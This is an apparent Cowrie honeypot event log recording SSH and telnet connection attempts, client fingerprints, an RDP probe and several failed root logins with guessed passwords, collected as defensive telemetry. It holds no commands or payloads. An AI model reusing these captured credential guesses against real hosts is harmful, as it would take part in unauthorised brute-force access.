{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:40.978861Z","src_ip":"47.237.167.49","session":"120734c0022f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8edf64f3a40f","protocol":"telnet","message":"New connection: 152.42.224.71:53760 (10.17.0.5:23) [session: 8edf64f3a40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:41.059121Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:41.214766Z","src_ip":"47.237.167.49","session":"120734c0022f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.20569181442261,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:41.821438Z","src_ip":"152.42.224.71","session":"28cb7eb6b953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.773929357528687,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:45.050637Z","src_ip":"152.42.224.71","session":"7ff4eb1859e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53772,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a230eda1659","protocol":"telnet","message":"New connection: 152.42.224.71:53772 (10.17.0.5:23) [session: 4a230eda1659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:45.875409Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56384,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c3eb7e8380","protocol":"telnet","message":"New connection: 152.42.224.71:56384 (10.17.0.5:23) [session: 10c3eb7e8380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:46.172953Z"}
{"eventid":"cowrie.session.closed","duration":42.917052030563354,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:46.745452Z","src_ip":"152.42.224.71","session":"6582a6b3a7fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14279866218567,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:47.688693Z","src_ip":"152.42.224.71","session":"5f6f1b65ffbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56398,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4810127cd6","protocol":"telnet","message":"New connection: 152.42.224.71:56398 (10.17.0.5:23) [session: 2a4810127cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:47.975142Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e251e23e1c42","protocol":"telnet","message":"New connection: 152.42.224.71:56404 (10.17.0.5:23) [session: e251e23e1c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:48.563087Z"}
{"eventid":"cowrie.session.closed","duration":1.3124732971191406,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:49.287473Z","src_ip":"152.42.224.71","session":"2a4810127cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":48714,"dst_ip":"10.17.0.5","dst_port":22,"session":"71bb92cbe9a4","protocol":"ssh","message":"New connection: 190.85.41.170:48714 (10.17.0.5:22) [session: 71bb92cbe9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:49.817034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:49.822010Z","src_ip":"190.85.41.170","session":"71bb92cbe9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:49.894871Z","src_ip":"190.85.41.170","session":"71bb92cbe9a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rori","message":"login attempt [root/rori] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:50.217380Z","src_ip":"190.85.41.170","session":"71bb92cbe9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:51.293563Z","src_ip":"190.85.41.170","session":"71bb92cbe9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.552087783813477,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:51.439038Z","src_ip":"152.42.224.71","session":"23709c62f0d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.205344438552856,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:51.867821Z","src_ip":"152.42.224.71","session":"2d4c0b543102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56420,"dst_ip":"10.17.0.5","dst_port":23,"session":"1951fe033e55","protocol":"telnet","message":"New connection: 152.42.224.71:56420 (10.17.0.5:23) [session: 1951fe033e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:51.918177Z"}
{"eventid":"cowrie.session.closed","duration":63.60411357879639,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:53.814913Z","src_ip":"152.42.224.71","session":"3b85dd0ee8df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.2591187953949,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:55.350909Z","src_ip":"152.42.224.71","session":"8818ed525289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35990,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef40803eef3","protocol":"telnet","message":"New connection: 152.42.224.71:35990 (10.17.0.5:23) [session: 3ef40803eef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:57.972604Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35994,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd52e686527","protocol":"telnet","message":"New connection: 152.42.224.71:35994 (10.17.0.5:23) [session: abd52e686527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:01.299162Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36000,"dst_ip":"10.17.0.5","dst_port":23,"session":"845b4e0e3900","protocol":"telnet","message":"New connection: 152.42.224.71:36000 (10.17.0.5:23) [session: 845b4e0e3900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:01.722085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55685,"dst_ip":"10.17.0.5","dst_port":22,"session":"75fac73782dc","protocol":"ssh","message":"New connection: 152.42.212.128:55685 (10.17.0.5:22) [session: 75fac73782dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:02.262765Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:02.268380Z","src_ip":"152.42.212.128","session":"75fac73782dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:02.272578Z","src_ip":"152.42.212.128","session":"75fac73782dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":50896,"dst_ip":"159.203.135.109","dst_port":22,"session":"553aeeef0553","protocol":"ssh","message":"New connection: 109.172.54.111:50896 (159.203.135.109:22) [session: 553aeeef0553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:04.335319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:04.339839Z","src_ip":"109.172.54.111","session":"553aeeef0553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:04.435988Z","src_ip":"109.172.54.111","session":"553aeeef0553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3rjs1la7qe","message":"login attempt [root/3rjs1la7qe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:04.735964Z","src_ip":"109.172.54.111","session":"553aeeef0553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:05.833999Z","src_ip":"109.172.54.111","session":"553aeeef0553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":55364,"dst_ip":"10.17.0.5","dst_port":22,"session":"7016959ec425","protocol":"ssh","message":"New connection: 103.75.183.219:55364 (10.17.0.5:22) [session: 7016959ec425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:06.636059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:06.640871Z","src_ip":"103.75.183.219","session":"7016959ec425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:06.893866Z","src_ip":"103.75.183.219","session":"7016959ec425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creative","message":"login attempt [root/creative] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:07.633748Z","src_ip":"103.75.183.219","session":"7016959ec425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"a299f9afef9d","protocol":"telnet","message":"New connection: 152.42.224.71:33204 (10.17.0.5:23) [session: a299f9afef9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:08.039846Z"}
{"eventid":"cowrie.session.closed","duration":42.616556882858276,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:08.241853Z","src_ip":"152.42.224.71","session":"75a35cca2dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.683651447296143,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:08.558948Z","src_ip":"152.42.224.71","session":"4a230eda1659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:08.882810Z","src_ip":"103.75.183.219","session":"7016959ec425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33210,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2f56f5da14","protocol":"telnet","message":"New connection: 152.42.224.71:33210 (10.17.0.5:23) [session: 0b2f56f5da14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:10.138104Z"}
{"eventid":"cowrie.session.closed","duration":40.91950082778931,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:11.705573Z","src_ip":"152.42.224.71","session":"2113e4ca7a6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"1624567f19cb","protocol":"telnet","message":"New connection: 152.42.224.71:33224 (10.17.0.5:23) [session: 1624567f19cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:13.061793Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":41896,"dst_ip":"10.17.0.5","dst_port":22,"session":"f555c7d732dc","protocol":"ssh","message":"New connection: 81.9.145.130:41896 (10.17.0.5:22) [session: f555c7d732dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:14.998245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:15.009126Z","src_ip":"81.9.145.130","session":"f555c7d732dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:15.125484Z","src_ip":"81.9.145.130","session":"f555c7d732dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toad","message":"login attempt [root/toad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:15.618672Z","src_ip":"81.9.145.130","session":"f555c7d732dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.552772998809814,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:16.570592Z","src_ip":"152.42.224.71","session":"66fc15630324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39606,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc81ccd62a4","protocol":"telnet","message":"New connection: 152.42.224.71:39606 (10.17.0.5:23) [session: efc81ccd62a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:16.693822Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:16.737022Z","src_ip":"81.9.145.130","session":"f555c7d732dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":25264,"dst_ip":"159.203.135.109","dst_port":22,"session":"25ed24ba21d4","protocol":"ssh","message":"New connection: 79.127.181.44:25264 (159.203.135.109:22) [session: 25ed24ba21d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:16.858209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:17.061434Z","src_ip":"79.127.181.44","session":"25ed24ba21d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:17.255842Z","src_ip":"79.127.181.44","session":"25ed24ba21d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:17.262034Z","src_ip":"79.127.181.44","session":"25ed24ba21d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51466107368469,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:18.687521Z","src_ip":"152.42.224.71","session":"10c3eb7e8380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39608,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b43c776f44","protocol":"telnet","message":"New connection: 152.42.224.71:39608 (10.17.0.5:23) [session: 70b43c776f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:20.794667Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ada641b09ee","protocol":"telnet","message":"New connection: 152.42.224.71:39614 (10.17.0.5:23) [session: 1ada641b09ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:21.335181Z"}
